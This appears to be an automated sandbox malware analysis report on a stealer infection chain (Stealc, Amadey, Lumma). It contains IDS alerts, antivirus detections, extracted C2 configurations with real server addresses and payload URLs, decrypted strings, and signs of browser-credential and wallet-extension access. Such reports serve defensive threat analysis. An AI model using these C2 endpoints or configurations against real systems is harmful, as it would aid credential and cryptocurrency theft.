2024-11-13T18:09:40.061158+0100	2028371	3	Unknown Traffic	192.168.2.6	50165	172.67.174.133	443	TCP
2024-11-13T18:09:42.866996+0100	2028371	3	Unknown Traffic	192.168.2.6	50168	172.67.174.133	443	TCP
2024-11-13T18:13:05.263771+0100	2028371	3	Unknown Traffic	192.168.2.6	50353	52.168.112.66	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:14.576652+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:16.714578+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:25.968933+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:27.977518+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:38.235825+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50162	172.67.174.133	443	TCP
2024-11-13T18:09:43.806858+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50168	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:14.576652+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:25.968933+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50139	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:16.714578+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:27.977518+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50145	172.67.174.133	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:13.215055+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:15.564601+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:17.893228+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50131	172.67.174.133	443	TCP
2024-11-13T18:09:20.881550+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50135	172.67.174.133	443	TCP
2024-11-13T18:09:24.113522+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50137	172.67.174.133	443	TCP
2024-11-13T18:09:25.193467+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:27.012492+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:27.967418+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50146	172.67.174.133	443	TCP
2024-11-13T18:09:29.124703+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50148	172.67.174.133	443	TCP
2024-11-13T18:09:30.353294+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50149	172.67.174.133	443	TCP
2024-11-13T18:09:31.000598+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50150	172.67.174.133	443	TCP
2024-11-13T18:09:33.439587+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50157	172.67.174.133	443	TCP
2024-11-13T18:09:37.536861+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50161	172.67.174.133	443	TCP
2024-11-13T18:09:37.632619+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50162	172.67.174.133	443	TCP
2024-11-13T18:09:40.061158+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50165	172.67.174.133	443	TCP
2024-11-13T18:09:42.866996+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	50168	172.67.174.133	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:39.156020+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50164	185.215.113.16	80	TCP
2024-11-13T18:09:44.147664+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50170	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:14.181961+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50128	185.215.113.43	80	TCP
2024-11-13T18:09:19.309932+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50132	185.215.113.43	80	TCP
2024-11-13T18:09:23.308552+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50136	185.215.113.43	80	TCP
2024-11-13T18:09:28.785967+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50147	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:12.242101+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	52382	1.1.1.1	53	UDP
2024-11-13T18:09:38.980046+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	56275	1.1.1.1	53	UDP
2024-11-13T18:10:09.336287+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	60222	1.1.1.1	53	UDP
2024-11-13T18:10:26.301417+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	64871	1.1.1.1	53	UDP
2024-11-13T18:10:45.272711+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	62844	1.1.1.1	53	UDP
2024-11-13T18:11:07.757978+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	52734	1.1.1.1	53	UDP
2024-11-13T18:11:20.070521+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	64797	1.1.1.1	53	UDP
2024-11-13T18:11:37.304555+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	65518	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:10.486996+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:10.474938+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:10.775748+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:12.079881+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:10.840068+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:28.957967+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50146	172.67.174.133	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:10.183422+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:09:20.409845+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50133	185.215.113.206	80	TCP
2024-11-13T18:09:36.983096+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50160	185.215.113.206	80	TCP
2024-11-13T18:09:55.668825+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50183	185.215.113.206	80	TCP
2024-11-13T18:10:02.897917+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50235	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:05.800855+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50123	185.215.113.43	80	TCP
2024-11-13T18:15:00.025902+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50404	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:13.276740+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50124	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:09.238501+0100	2803305	3	Unknown Traffic	192.168.2.6	50126	185.215.113.16	80	TCP
2024-11-13T18:09:15.099041+0100	2803305	3	Unknown Traffic	192.168.2.6	50129	185.215.113.16	80	TCP
2024-11-13T18:09:24.222052+0100	2803305	3	Unknown Traffic	192.168.2.6	50138	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:08:12.610786+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:08:32.842648+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:34.037893+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:34.647847+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:35.138145+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:36.334618+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:36.803287+0100	2803304	3	Unknown Traffic	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:41.105094+0100	2803304	3	Unknown Traffic	192.168.2.6	49988	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:09:30.360923+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50149	172.67.174.133	443	TCP
2024-11-13T18:09:40.081401+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50165	172.67.174.133	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/h1	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe0cN	Avira URL Cloud: Label: phishing
Source: https://frogmen-smell.sbs/apicu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phps1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/UUC:	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/1w	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllw	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phptG	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/r	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exera	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpm	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php02	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/4	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe5	Avira URL Cloud: Label: phishing
Source: https://frogmen-smell.sbs/77	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpz	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2661641645.0000000000F71000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["thicktoys.sbs", "faintbl0w.sbs", "3xc1aimbl0w.sbs", "300snails.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: e88687d065.exe.6648.25.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: faintbl0w.sbs
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: 300snails.sbs
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: 3xc1aimbl0w.sbs
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: thicktoys.sbs
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: - Screen Resoluton:
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: Workgroup: -
Source: 24.2.0f2c5625b4.exe.b0000.0.unpack	String decryptor: LOGS11--LiveTraffic

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CC4A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC444C0 PK11_PubEncrypt,	0_2_6CC444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC44440 PK11_PrivDecrypt,	0_2_6CC44440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC14420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CC14420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CC925B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CC2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CC4A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CC28670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CC6A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CC70180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC443B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CC443B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC67C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CC67C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC27D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CC27D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CC6BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC69EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CC69EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC43FF0 PK11_PrivDecryptPKCS1,	0_2_6CC43FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC49840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CC49840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC43850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CC43850

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50162 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.112.66:443 -> 192.168.2.6:50353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50391 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2566595123.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 0f2c5625b4.exe, 00000018.00000003.3161470668.0000000008720000.00000004.00001000.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3238410849.00000000062C2000.00000040.00000800.00020000.00000000.sdmp, 425e60de02.exe, 0000001E.00000002.3104528419.0000000000372000.00000040.00000001.01000000.00000011.sdmp, 425e60de02.exe, 0000001E.00000003.2970988702.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, 425e60de02.exe, 00000020.00000003.3114752588.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, 425e60de02.exe, 00000020.00000002.3155295342.0000000000372000.00000040.00000001.01000000.00000011.sdmp, 425e60de02.exe, 00000025.00000002.3406391942.0000000000372000.00000040.00000001.01000000.00000011.sdmp, 425e60de02.exe, 00000025.00000003.3366033432.00000000049C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2566595123.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Directory queried: number of queries: 2002

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 17MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
